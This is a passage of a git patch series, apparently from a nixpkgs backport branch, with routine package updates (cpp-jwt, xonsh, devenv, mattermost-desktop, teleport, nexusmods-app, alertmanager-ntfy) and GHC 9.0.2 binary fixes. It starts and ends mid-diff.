     url = "https://github.com/GloriousEggroll/proton-ge-custom/releases/download/${finalAttrs.version}/${finalAttrs.version}.tar.gz";
-    hash = "sha256-XlZVQ+xYgg1H1xAHBcXZmF5//7k6w9NNspXJ/1KhzX8=";
+    hash = "sha256-cbmOQYWEP/uB2ZoMAbtbeXbOJjxZui0n2U+Tr/OLKjA=";
   };
 
   dontUnpack = true;

From 0b53b294a93a9b749b0f8a7cc23e586a33dc87ea Mon Sep 17 00:00:00 2001
From: Franz Pletz <fpletz@fnordicwalking.de>
Date: Mon, 30 Jun 2025 16:17:13 +0200
Subject: [PATCH 1935/4511] cpp-jwt: 1.4 -> 1.5

(cherry picked from commit 437f2274265d3e4d672ce01dab4b6c8a84a5cee1)
---
 pkgs/by-name/cp/cpp-jwt/fix-version.patch | 12 ------------
 pkgs/by-name/cp/cpp-jwt/package.nix       |  7 ++-----
 2 files changed, 2 insertions(+), 17 deletions(-)
 delete mode 100644 pkgs/by-name/cp/cpp-jwt/fix-version.patch

diff --git a/pkgs/by-name/cp/cpp-jwt/fix-version.patch b/pkgs/by-name/cp/cpp-jwt/fix-version.patch
deleted file mode 100644
index d04525e15464..000000000000
--- a/pkgs/by-name/cp/cpp-jwt/fix-version.patch
+++ /dev/null
@@ -1,12 +0,0 @@
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index 2f35431..f08eb22 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -1,5 +1,5 @@
- cmake_minimum_required(VERSION 3.5.0)
--project(cpp-jwt VERSION 1.2.0)
-+project(cpp-jwt VERSION 1.4.0)
- 
- option(CPP_JWT_BUILD_EXAMPLES "build examples" ON)
- option(CPP_JWT_BUILD_TESTS "build tests" ON)
- 
\ No newline at end of file
diff --git a/pkgs/by-name/cp/cpp-jwt/package.nix b/pkgs/by-name/cp/cpp-jwt/package.nix
index 838916f65566..05dc6730104f 100644
--- a/pkgs/by-name/cp/cpp-jwt/package.nix
+++ b/pkgs/by-name/cp/cpp-jwt/package.nix
@@ -10,18 +10,15 @@
 
 stdenv.mkDerivation rec {
   pname = "cpp-jwt";
-  version = "1.4";
+  version = "1.5";
 
   src = fetchFromGitHub {
     owner = "arun11299";
     repo = "cpp-jwt";
     rev = "v${version}";
-    sha256 = "sha256-5hVsFanTCT/uLLXrnb2kMvmL6qs9RXVkvxdWaT6m4mk=";
+    sha256 = "sha256-l1FevNhGX7vouKmGh/ypCcmZQLMpHJ4JFUp5dnNMEwg=";
   };
 
-  # fix reported version
-  patches = [ ./fix-version.patch ];
-
   cmakeFlags = [
     "-DCPP_JWT_USE_VENDORED_NLOHMANN_JSON=OFF"
     "-DCPP_JWT_BUILD_EXAMPLES=OFF"

From afb2ae3cf71726699833afa228a6ad1c2d10bcc3 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 1 Jul 2025 13:29:01 +0200
Subject: [PATCH 1936/4511] haskell.compiler.ghc902Binary: add missing
 isHadrian annotations

Interestingly, this did not break anything super obvious before, but now
paths between GHC and separate libraries match.

(cherry picked from commit 190346e1cf5305b1fcf548291542046da9e1c31f)
---
 pkgs/development/compilers/ghc/9.0.2-binary.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/development/compilers/ghc/9.0.2-binary.nix b/pkgs/development/compilers/ghc/9.0.2-binary.nix
index de15bd8e55f0..37b836658b55 100644
--- a/pkgs/development/compilers/ghc/9.0.2-binary.nix
+++ b/pkgs/development/compilers/ghc/9.0.2-binary.nix
@@ -136,6 +136,7 @@ let
             fileToCheckFor = null;
           }
         ];
+        isHadrian = true;
       };
       aarch64-darwin = {
         variantSuffix = "";
@@ -158,6 +159,7 @@ let
             fileToCheckFor = null;
           }
         ];
+        isHadrian = true;
       };
     };
     # Binary distributions for the musl libc for the respective system.
@@ -179,6 +181,7 @@ let
             fileToCheckFor = "libncursesw.so.6";
           }
         ];
+        isHadrian = true;
       };
     };
   };

From 3d36014d7c614592447a42fb26e42f0de7108a67 Mon Sep 17 00:00:00 2001
From: sternenseemann <sternenseemann@systemli.org>
Date: Tue, 1 Jul 2025 13:40:22 +0200
Subject: [PATCH 1937/4511] haskell.compiler.ghc902Binary: fix (system) libffi
 header discovery

The GHC 9.0.2 bindist expects the headers of libffi to be found under
/Applications/XCode.app instead of /Library (which is the case for later
GHC bindists which I copied the code from). Correctly substituting this
path will prevent GHC from using the bundled and thus outdated libffi
headers that are broken for some reason or other.

That these bundled headers were installed was actually a bug in hadrian
which created the bindists because it ignored use-system-libffi before
GHC 9.2. (This was actually the issue I noticed first because it hides
the actual problem: Because GHC installed these headers, GHC found some
version of ffi.h and ffitarget.h instead of correctly failing due to
missing headers which would indicate that package db is broken.) For the
sake of completeness, we can also solve this problem by deleting these
headers in postInstall.

(cherry picked from commit fbbdcddadab91e4a44fa1daaf734f49cc13917ae)
---
 .../compilers/ghc/9.0.2-binary.nix            | 26 +++++++++++++------
 1 file changed, 18 insertions(+), 8 deletions(-)

diff --git a/pkgs/development/compilers/ghc/9.0.2-binary.nix b/pkgs/development/compilers/ghc/9.0.2-binary.nix
index 37b836658b55..ba52a3253e77 100644
--- a/pkgs/development/compilers/ghc/9.0.2-binary.nix
+++ b/pkgs/development/compilers/ghc/9.0.2-binary.nix
@@ -313,7 +313,7 @@ stdenv.mkDerivation {
       # To link RTS in the end we also need libffi now
       find . -name 'rts*.conf' \
           -exec sed -e '/^[a-z-]*library-dirs/a \    ${lib.getLib libffi}/lib' \
-                    -e 's@/Library/Developer/.*/usr/include/ffi@${lib.getDev libffi}/include@' \
+                    -e 's@/.*/Developer/.*/usr/include/ffi@${lib.getDev libffi}/include@' \
                     -i {} \;
     ''
     +
@@ -354,13 +354,23 @@ stdenv.mkDerivation {
   dontBuild = true;
 
   # Patch scripts to include runtime dependencies in $PATH.
-  postInstall = ''
-    for i in "$out/bin/"*; do
-      test ! -h "$i" || continue
-      isScript "$i" || continue
-      sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
-    done
-  '';
+  postInstall =
+    ''
+      for i in "$out/bin/"*; do
+        test ! -h "$i" || continue
+        isScript "$i" || continue
+        sed -i -e '2i export PATH="${lib.makeBinPath runtimeDeps}:$PATH"' "$i"
+      done
+    ''
+    # On Darwin, GHC doesn't install a bundled libffi.so, but instead uses the
+    # system one (see postUnpack). Due to a bug in Hadrian, the (bundled) libffi
+    # headers are installed anyways. This problem has been fixed in GHC 9.2:
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/8189. While the system
+    # header should shadow the GHC installed ones, remove them to be safe.
+    + lib.optionalString (stdenv.hostPlatform.isDarwin && binDistUsed.isHadrian or false) ''
+      echo Deleting redundant libffi headers:
+      find "$out" '(' -name ffi.h -or -name ffitarget.h ')' -print -delete
+    '';
 
   # Apparently necessary for the ghc Alpine (musl) bindist:
   # When we strip, and then run the

From 532ef10bf8ae219601a70e42220ca4a43fe6f391 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 18:35:16 +0000
Subject: [PATCH 1938/4511] python3Packages.xonsh: 0.19.4 -> 0.19.9

(cherry picked from commit 297f585267449c1b8f665c0fdcf270c2d2f410f6)
---
 pkgs/by-name/xo/xonsh/unwrapped.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/xo/xonsh/unwrapped.nix b/pkgs/by-name/xo/xonsh/unwrapped.nix
index 9f7a8e1873da..96faca5ca7da 100644
--- a/pkgs/by-name/xo/xonsh/unwrapped.nix
+++ b/pkgs/by-name/xo/xonsh/unwrapped.nix
@@ -28,7 +28,7 @@
 
 buildPythonPackage rec {
   pname = "xonsh";
-  version = "0.19.4";
+  version = "0.19.9";
   pyproject = true;
 
   # PyPI package ships incomplete tests
@@ -36,7 +36,7 @@ buildPythonPackage rec {
     owner = "xonsh";
     repo = "xonsh";
     tag = version;
-    hash = "sha256-gOk0BZNuKsEzs72Lukq7+7vltmtPE75gEs+JyLqBDdc=";
+    hash = "sha256-7A6V2lfJHpjrp3AWSnfNuvPy02GvjNUXZqBBSomHJew=";
   };
 
   build-system = [

From 84001c0cc0bedcea51b4e5b5f7cf76746be75a47 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Wed, 2 Jul 2025 19:01:11 +0200
Subject: [PATCH 1939/4511] qt6.qtdeclarative: pick a patch from upstream

(cherry picked from commit 828aa9b7a5b238031a68397bc80115a8d24e6105)
---
 .../libraries/qt-6/modules/qtdeclarative/default.nix        | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
index fe554c46e2a3..a7d4e52b1531 100644
--- a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
@@ -10,6 +10,7 @@
   lib,
   pkgsBuildBuild,
   replaceVars,
+  fetchpatch,
 }:
 
 qtModule {
@@ -37,6 +38,11 @@ qtModule {
     })
     # add version specific QML import path
     ./use-versioned-import-path.patch
+    # This should make it into the 6.9.2 release.
+    (fetchpatch {
+      url = "https://invent.kde.org/qt/qt/qtdeclarative/-/commit/672e6777e8e6a8fd.diff";
+      hash = "sha256-nPczX6SHZPcdg7AqpRIwPCrcS3PId+Ibb0iPSiHUdaw=";
+    })
   ];
 
   preConfigure =

From 4ff17bc07a9647cb2124d72271f012000fc83f1b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Wed, 2 Jul 2025 19:01:11 +0200
Subject: [PATCH 1940/4511] qt6.qtdeclarative: pick a patch from upstream

(cherry picked from commit 828aa9b7a5b238031a68397bc80115a8d24e6105)
---
 .../libraries/qt-6/modules/qtdeclarative/default.nix        | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
index fe554c46e2a3..a7d4e52b1531 100644
--- a/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
+++ b/pkgs/development/libraries/qt-6/modules/qtdeclarative/default.nix
@@ -10,6 +10,7 @@
   lib,
   pkgsBuildBuild,
   replaceVars,
+  fetchpatch,
 }:
 
 qtModule {
@@ -37,6 +38,11 @@ qtModule {
     })
     # add version specific QML import path
     ./use-versioned-import-path.patch
+    # This should make it into the 6.9.2 release.
+    (fetchpatch {
+      url = "https://invent.kde.org/qt/qt/qtdeclarative/-/commit/672e6777e8e6a8fd.diff";
+      hash = "sha256-nPczX6SHZPcdg7AqpRIwPCrcS3PId+Ibb0iPSiHUdaw=";
+    })
   ];
 
   preConfigure =

From 4bc9b9c58dbb912cb5799fc4a88e051b7ba657b3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Domen=20Ko=C5=BEar?= <domen@cachix.org>
Date: Wed, 2 Jul 2025 13:33:00 -0500
Subject: [PATCH 1941/4511] devenv: 1.6.1 -> 1.7

https://github.com/cachix/devenv/releases/tag/v1.7
(cherry picked from commit ed6b1eea15b2e7ad6d856957d38dbd1f6c3d6465)
---
 pkgs/by-name/de/devenv/package.nix | 31 ++++++++++++++++--------------
 1 file changed, 17 insertions(+), 14 deletions(-)

diff --git a/pkgs/by-name/de/devenv/package.nix b/pkgs/by-name/de/devenv/package.nix
index 78d4ec464822..891c0db5ee77 100644
--- a/pkgs/by-name/de/devenv/package.nix
+++ b/pkgs/by-name/de/devenv/package.nix
@@ -14,19 +14,22 @@
 }:
 
 let
-  devenv_nix = nixVersions.nix_2_24.overrideAttrs (old: {
-    version = "2.24-devenv";
-    src = fetchFromGitHub {
-      owner = "domenkozar";
+  devenv_nix =
+    (nixVersions.git.overrideSource (fetchFromGitHub {
+      owner = "cachix";
       repo = "nix";
-      rev = "b455edf3505f1bf0172b39a735caef94687d0d9c";
-      hash = "sha256-bYyjarS3qSNqxfgc89IoVz8cAFDkF9yPE63EJr+h50s=";
-    };
-    doCheck = false;
-    doInstallCheck = false;
-  });
+      rev = "afa41b08df4f67b8d77a8034b037ac28c71c77df";
+      hash = "sha256-IDB/oh/P63ZTdhgSkey2LZHzeNhCdoKk+4j7AaPe1SE=";
+    })).overrideAttrs
+      (old: {
+        version = "2.30-devenv";
+        doCheck = false;
+        doInstallCheck = false;
+        # do override src, but the Nix way so the warning is unaware of it
+        __intentionallyOverridingVersion = true;
+      });
 
-  version = "1.6.1";
+  version = "1.7";
 in
 rustPlatform.buildRustPackage {
   pname = "devenv";
@@ -35,12 +38,12 @@ rustPlatform.buildRustPackage {
   src = fetchFromGitHub {
     owner = "cachix";
     repo = "devenv";
-    rev = "v${version}";
-    hash = "sha256-CEVWxRaln3sp0541QpMfcfmI2w+RN72UgNLV5Dy9sco=";
+    tag = "v${version}";
+    hash = "sha256-LzMVgB8izls/22g69KvWPbuQ8C7PRT9PobbvdV3/raI=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-t4Cj7JlBVrMP02Dqibq2IgdKy6ejv+CeffmcPAkh7BE=";
+  cargoHash = "sha256-k/UrnRTI+Z09kdN7PYNOg9+GnumqOdm36F31CKZCGMU=";
 
   buildAndTestSubdir = "devenv";
 

From 53c42a2dcc06e8d1ffc3565dde96d7db4be2cbdf Mon Sep 17 00:00:00 2001
From: Olli Helenius <liff@iki.fi>
Date: Wed, 2 Jul 2025 10:51:30 +0300
Subject: [PATCH 1942/4511] mattermost-desktop: 5.11.2 -> 5.12.1

(cherry picked from commit 86dfe6fb8ed8246ed2aa2f49b2fc775eea939c06)
---
 pkgs/by-name/ma/mattermost-desktop/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost-desktop/package.nix b/pkgs/by-name/ma/mattermost-desktop/package.nix
index 2ce3996a482d..b3bd0df9b95e 100644
--- a/pkgs/by-name/ma/mattermost-desktop/package.nix
+++ b/pkgs/by-name/ma/mattermost-desktop/package.nix
@@ -2,7 +2,7 @@
   lib,
   fetchFromGitHub,
   buildNpmPackage,
-  electron_34,
+  electron_35,
   makeWrapper,
   testers,
   mattermost-desktop,
@@ -10,21 +10,21 @@
 }:
 
 let
-  electron = electron_34;
+  electron = electron_35;
 in
 
 buildNpmPackage rec {
   pname = "mattermost-desktop";
-  version = "5.11.2";
+  version = "5.12.1";
 
   src = fetchFromGitHub {
     owner = "mattermost";
     repo = "desktop";
     tag = "v${version}";
-    hash = "sha256-03874pV7/GqydMdaSlh3N17LsbHppfPdYJ8nGdbvvbk=";
+    hash = "sha256-Sn6gKkeN+wRgTnFtQ9ewAFvRsRdXVo11ibaxFvSG7dg=";
   };
 
-  npmDepsHash = "sha256-v6XEJJ9kozkY7HSLNJtM+86+36G7wt8xIFwCyO7x11Y=";
+  npmDepsHash = "sha256-U6pmvSfps1VzKFnzJ0yij2r0uLrtnujZv+LVediX1Bo=";
   npmBuildScript = "build-prod";
   makeCacheWritable = true;
 

From 4819be859c34989a537352fc464414daae1e4df9 Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Wed, 2 Jul 2025 12:56:35 +0300
Subject: [PATCH 1943/4511] teleport_17: 17.5.1 -> 17.5.3

Changelog: https://github.com/gravitational/teleport/releases/tag/v17.5.3
Diff: https://github.com/gravitational/teleport/compare/v17.5.1...v17.5.3
(cherry picked from commit a0463b2d80171550ba1857f9a301972792cc6972)
---
 pkgs/by-name/te/teleport/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index 58a6caf352dc..dcbe7033f4ef 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -21,12 +21,12 @@
 
   withRdpClient ? true,
 
-  version ? "17.5.1",
-  hash ? "sha256-+9Oit7GAUTNv5Z8ZDOuBBRnVvtdA9N0X97UJbLILX50=",
-  vendorHash ? "sha256-yeouUrLMfkKSYnS9va59cYWnGCvQatQQrNa1DuHQMug=",
+  version ? "17.5.3",
+  hash ? "sha256-VyuzSk388Dumm65+Gadu/SddVN7uUS3du5RGPm4xI6g=",
+  vendorHash ? "sha256-IHXwCp1MdcEKJhIs9DNf77Vd93Ai2as7ROlh6AJT9+Q=",
   extPatches ? [ ],
   cargoHash ? "sha256-qz8gkooQTuBlPWC4lHtvBQpKkd+nEZ0Hl7AVg9JkPqs=",
-  pnpmHash ? "sha256-TZb1nABTbR+SPgykc/KMRkHW7oLawem6KWmdOFAbLbk=",
+  pnpmHash ? "sha256-YwftGEQTEI8NvFTFLMJHhYkvaIIP9+bskCQCp5xuEtY=",
 }:
 let
   # This repo has a private submodule "e" which fetchgit cannot handle without failing.

From c82d885a535044b40456c500a29fa942bcacc58f Mon Sep 17 00:00:00 2001
From: Matt Sturgeon <matt@sturgeon.me.uk>
Date: Wed, 2 Jul 2025 12:36:04 +0100
Subject: [PATCH 1944/4511] nexusmods-app: 0.12.3 -> 0.13.4

https://github.com/Nexus-Mods/NexusMods.App/releases/tag/v0.13.4
(cherry picked from commit d49a7704333f5c62e613b080518c31230447b978)
---
 pkgs/by-name/ne/nexusmods-app/deps.json   | 109 +++++++++++++++-------
 pkgs/by-name/ne/nexusmods-app/package.nix |   4 +-
 2 files changed, 79 insertions(+), 34 deletions(-)

diff --git a/pkgs/by-name/ne/nexusmods-app/deps.json b/pkgs/by-name/ne/nexusmods-app/deps.json
index 4b45a9401d91..f73fca4450dd 100644
--- a/pkgs/by-name/ne/nexusmods-app/deps.json
+++ b/pkgs/by-name/ne/nexusmods-app/deps.json
@@ -279,6 +279,11 @@
     "version": "8.5.0",
     "hash": "sha256-mLraPiJa1JiXOWQ17GUp8MWuBNrIjcYYjItQRfMjP8s="
   },
+  {
+    "pname": "EnumerableAsyncProcessor",
+    "version": "2.1.0",
+    "hash": "sha256-WljvqFPe95cjtm+VfaeLvQDFW2j9QQBWJAd0bM8VXN0="
+  },
   {
     "pname": "ExCSS",
     "version": "4.3.0",
@@ -356,58 +361,58 @@
   },
   {
     "pname": "GameFinder",
-    "version": "4.7.2",
-    "hash": "sha256-a+/4rJbo7dc4sVRg6TtvfCt02/Qlih9ovwwkAf6Lve0="
+    "version": "4.7.3",
+    "hash": "sha256-tUUvWC8/HTFvESqSPN2HMnGkf6OroDBpHCbqo1ThD/8="
   },
   {
     "pname": "GameFinder.Common",
-    "version": "4.7.2",
-    "hash": "sha256-PNGHswvAeJyr0ipbxY884c9/SKsoYXEYMsI5ymfJovQ="
+    "version": "4.7.3",
+    "hash": "sha256-lPTPiywObx6SEaBKuL25+eLdfVHuWb1x14Q7aMpXLMQ="
   },
   {
     "pname": "GameFinder.Launcher.Heroic",
-    "version": "4.7.2",
-    "hash": "sha256-sQth9S4artOEA0nalFZRQKLkMU7IqHCx/B5HG8fJVZk="
+    "version": "4.7.3",
+    "hash": "sha256-Rp9I0XfW4KhyOSgyPzhR9aHYVcLDwUnpmvTjowviWC8="
   },
   {
     "pname": "GameFinder.RegistryUtils",
-    "version": "4.7.2",
-    "hash": "sha256-ujiSbIH5JHG4c861ex3zm+Uf7RbV+2tNFHKY2gtkwFg="
+    "version": "4.7.3",
+    "hash": "sha256-Z4IbxyMx6apZt9SYfDFvWD8I/qSP2S4kEz8hXym96KY="
   },
   {
     "pname": "GameFinder.StoreHandlers.EADesktop",
-    "version": "4.7.2",
-    "hash": "sha256-BcSyWqlsFXaQmYqD+dR2FSNI0NkzjkH9kZCqp4YOy14="
+    "version": "4.7.3",
+    "hash": "sha256-RbPZayuG9OJXI1aSL2d5vfjfXlEAWFz9aZrXDXX6jhM="
   },
   {
     "pname": "GameFinder.StoreHandlers.EGS",
-    "version": "4.7.2",
-    "hash": "sha256-YAz1gf77Bm18dZe0h1zKO52ZJ7sw6XRz1XPQRVt8W3U="
+    "version": "4.7.3",
+    "hash": "sha256-99DbRfzESJZAUDd3yREb8M6Mgn8dztNQqBPyR1bsST4="
   },
   {
     "pname": "GameFinder.StoreHandlers.GOG",
-    "version": "4.7.2",
-    "hash": "sha256-hvA+kf2ZvpDS1pVSTAJ2839b1rRamJTz+Erux/OmdfE="
+    "version": "4.7.3",
+    "hash": "sha256-u0Vm9k8XAkzOdW2U6nzuRPWgMxj3QwkvFc5S4c8A/u4="
   },
   {
     "pname": "GameFinder.StoreHandlers.Origin",
-    "version": "4.7.2",
-    "hash": "sha256-U7ko6fWujUXabVEe0Xxc5PXwb2VBFCyHIByg3MzleG4="
+    "version": "4.7.3",
+    "hash": "sha256-f/saANmx8zYrZ+G3xbsy2w7mQwC0Jmb5WpUSlZNyzJU="
   },
   {
     "pname": "GameFinder.StoreHandlers.Steam",
-    "version": "4.7.2",
-    "hash": "sha256-G1YPgAn7ORQuBm5ZD78EzKS1hIiLyQgjcX2RzSYWbO4="
+    "version": "4.7.3",
+    "hash": "sha256-5WtdyR1/xX+Ra5ldlvM0leIgc8gTGaPKAFOC/KTHGk8="
   },
   {
     "pname": "GameFinder.StoreHandlers.Xbox",
-    "version": "4.7.2",
-    "hash": "sha256-LSxBpARmANJg199wBZ5FgvBUkq5JvCjTUEe9X+Gs+Ec="
+    "version": "4.7.3",
+    "hash": "sha256-Z9RpXomR53mLhD0WH7pCYxmnQIAsGiBVqUgs4I0ZO4w="
   },
   {
     "pname": "GameFinder.Wine",
-    "version": "4.7.2",
-    "hash": "sha256-YQgkRgF/wh+Jy5dIDBBE3lExDv5XpylL/xNBf0ge9sI="
+    "version": "4.7.3",
+    "hash": "sha256-PO8aXHEvCxBQq92GyPl3b//s4MTCU7T8mvryS4p0Hsg="
   },
   {
     "pname": "Gee.External.Capstone",
@@ -1544,6 +1549,26 @@
     "version": "8.0.0",
     "hash": "sha256-hNTkpKdCLY5kIuOmznD1mY+pRdJ0PKu2HypyXog9vb0="
   },
+  {
+    "pname": "Microsoft.Testing.Extensions.TrxReport.Abstractions",
+    "version": "1.7.1",
+    "hash": "sha256-zaDOAoEA4CF6/7rXLBO5f5d8PpcqB7hKlwdEWzaFsNk="
+  },
+  {
+    "pname": "Microsoft.Testing.Platform",
+    "version": "1.4.3",
+    "hash": "sha256-KqB3+uBGl0edpaGl6Qykubb3OrVTs6IcPWc59UQ/Iww="
+  },
+  {
+    "pname": "Microsoft.Testing.Platform",
+    "version": "1.7.1",
+    "hash": "sha256-YJ41q1VXvFZh/TWo3tutGQnhNCrxv/QbDLTxCS4b/w4="
+  },
+  {
+    "pname": "Microsoft.Testing.Platform.MSBuild",
+    "version": "1.4.3",
+    "hash": "sha256-289hhblU55kDvzbiSQAFSxOyht1MlXT4e+bEQyQqils="
+  },
   {
     "pname": "Microsoft.TestPlatform.ObjectModel",
     "version": "17.10.0",
@@ -1671,13 +1696,13 @@
   },
   {
     "pname": "NexusMods.Cascade",
-    "version": "0.15.0",
-    "hash": "sha256-lmb0zvp4cq9oOF25B/J2iBKmiBAMGtCYb6WMqeqwgA0="
+    "version": "0.16.0",
+    "hash": "sha256-TybY3XW0/crQT4pTbHCW7VsAdoTGLTU/GwAxVfxv4uc="
   },
   {
     "pname": "NexusMods.Cascade.SourceGenerator",
-    "version": "0.15.0",
-    "hash": "sha256-8tfNAUILcmBPeZNiQJ7VC+jbuFEhT9aZo/T7gnn4ZAI="
+    "version": "0.16.0",
+    "hash": "sha256-fc6Gvf0e1pVZSJvyUJcZQUAsIXh3K9xXSn/3UHeOhZc="
   },
   {
     "pname": "NexusMods.Hashing.xxHash3",
@@ -1691,18 +1716,18 @@
   },
   {
     "pname": "NexusMods.MnemonicDB",
-    "version": "0.15.0",
-    "hash": "sha256-4rtb6WRCxknp0a47tg3JPkvGOCoRXl4ilQZOaTvYQFw="
+    "version": "0.17.0",
+    "hash": "sha256-1BAprdtAvVRfA5fpKV3BxpW7PIkSXWbWnUI70uTzk6k="
   },
   {
     "pname": "NexusMods.MnemonicDB.Abstractions",
-    "version": "0.15.0",
-    "hash": "sha256-BWx5MjJfSu4UGRVnFIncfSg6tu5OetSTdtDsIHwHZ5Q="
+    "version": "0.17.0",
+    "hash": "sha256-eXGPNioGdwhjYhCjV7Aj2vwS2lcMOHxNWfIL9Ww5+NM="
   },
   {
     "pname": "NexusMods.MnemonicDB.SourceGenerator",
-    "version": "0.15.0",
-    "hash": "sha256-MuMgcHn+73izfYdA6WTHpvKBAITxuNhtGSW1JCJD4Y0="
+    "version": "0.17.0",
+    "hash": "sha256-TDHxCFa8qWfHD80utMZpD4DWkz0O3MJA3nQAtQgpdFI="
   },
   {
     "pname": "NexusMods.Paths",
@@ -3169,6 +3194,26 @@
     "version": "1.1.0",
     "hash": "sha256-I2NBomTTExaEhf9/BoplBbDJ9B7YMS3nUOQ5Od4A/e0="
   },
+  {
+    "pname": "TUnit",
+    "version": "0.25.0",
+    "hash": "sha256-rQaQ9DQF+y2bbtFqIa7oVtXC+dgGi6nYLTyZjrhmN9s="
+  },
+  {
+    "pname": "TUnit.Assertions",
+    "version": "0.25.0",
+    "hash": "sha256-DuurVpcD3mxMl7nh3nmtxsUyBNRyeZi3vy91lzwQYyA="
+  },
+  {
+    "pname": "TUnit.Core",
+    "version": "0.25.0",
+    "hash": "sha256-zaTFjXPtR2muqmyyWt1GxL5ACp5tiArcH6B2h4PscNw="
+  },
+  {
+    "pname": "TUnit.Engine",
+    "version": "0.25.0",
+    "hash": "sha256-0/5JkVww0Ek48VaTuZ/mkNcVCef43k0F95QU8WS71Nc="
+  },
   {
     "pname": "Validation",
     "version": "2.3.7",
diff --git a/pkgs/by-name/ne/nexusmods-app/package.nix b/pkgs/by-name/ne/nexusmods-app/package.nix
index 35a6aa834ef2..02f1be911f3b 100644
--- a/pkgs/by-name/ne/nexusmods-app/package.nix
+++ b/pkgs/by-name/ne/nexusmods-app/package.nix
@@ -23,12 +23,12 @@ let
 in
 buildDotnetModule (finalAttrs: {
   inherit pname;
-  version = "0.12.3";
+  version = "0.13.4";
 
   src = fetchgit {
     url = "https://github.com/Nexus-Mods/NexusMods.App.git";
     rev = "refs/tags/v${finalAttrs.version}";
-    hash = "sha256-X0zF0zqWwuCt7oWXwfzDtu+7KZ3yMQwQqP45rlfGm/o=";
+    hash = "sha256-Ub6HjZChOhRUDYQ2TAnrwOtrW6ahP+k74vCAmLkYABA=";
     fetchSubmodules = true;
   };
 

From ef687ce71693db5dbb5190cc0ec185768f94dc1d Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 2 Jul 2025 16:09:35 +0200
Subject: [PATCH 1945/4511] alertmanager-ntfy: 0-unstable-2025-06-27 -> 1.0.0

Diff: https://github.com/alexbakker/alertmanager-ntfy/compare/dc4ef93f7db7f046a775ef3e4a2a462b2afcec6c...v1.0.0
(cherry picked from commit 6d2547a3e5f6df299116a8d7e777067c265504f3)
---
 pkgs/by-name/al/alertmanager-ntfy/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/al/alertmanager-ntfy/package.nix b/pkgs/by-name/al/alertmanager-ntfy/package.nix
index 07d19fe9d2f6..32144dba93e1 100644
--- a/pkgs/by-name/al/alertmanager-ntfy/package.nix
+++ b/pkgs/by-name/al/alertmanager-ntfy/package.nix
@@ -6,18 +6,18 @@
   nix-update-script,
 }:
 
-buildGoModule {
+buildGoModule (finalAttrs: {
   pname = "alertmanager-ntfy";
-  version = "0-unstable-2025-06-27";
+  version = "1.0.0";
 
   src = fetchFromGitHub {
     owner = "alexbakker";
     repo = "alertmanager-ntfy";
-    rev = "dc4ef93f7db7f046a775ef3e4a2a462b2afcec6c";
-    hash = "sha256-J+T3Mt+40vhL3DVBKKH86l45AKSlkT7h+TrfhsWwMac=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-tyRBfcPL0tzsZgWwgjSW9eMcXZAotkx88tjDr2gw4s4=";
   };
 
-  vendorHash = "sha256-e1JAoDNm2+xB/bZcEGr5l4+va8GIg1R8pdj3d+/Y+UY=";
+  vendorHash = "sha256-CpVGLM6ZtfYODhP6gzWGcnpEuDvKRiMWzoPNm2qtML4=";
 
   doInstallCheck = true;
   installCheckPhase = ''
@@ -30,7 +30,7 @@ buildGoModule {
 
   passthru = {
     tests = { inherit (nixosTests.prometheus) alertmanager-ntfy; };
-    updateScript = nix-update-script { extraArgs = [ "--version=branch=master" ]; };
+    updateScript = nix-update-script { };
   };
 
   meta = {
@@ -40,4 +40,4 @@ buildGoModule {
     maintainers = with lib.maintainers; [ defelo ];
     mainProgram = "alertmanager-ntfy";
   };
-}
+})

From afd37224b77424edce038a902cb6738b8c4902cf Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 6 Jun 2025 23:22:41 +0200
Subject: [PATCH 1946/4511] air-formatter: 0.5.0 -> 0.7.0

Diff: https://github.com/posit-dev/air/compare/refs/tags/0.6.0...refs/tags/0.7.0

Changelog: https://github.com/posit-dev/air/blob/0.7.0/CHANGELOG.md
(cherry picked from commit 871b5f6e4173711ce7666e51e0f82738ef111825)
---
 pkgs/by-name/ai/air-formatter/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ai/air-formatter/package.nix b/pkgs/by-name/ai/air-formatter/package.nix
index 46b179790936..c448290cca87 100644
--- a/pkgs/by-name/ai/air-formatter/package.nix
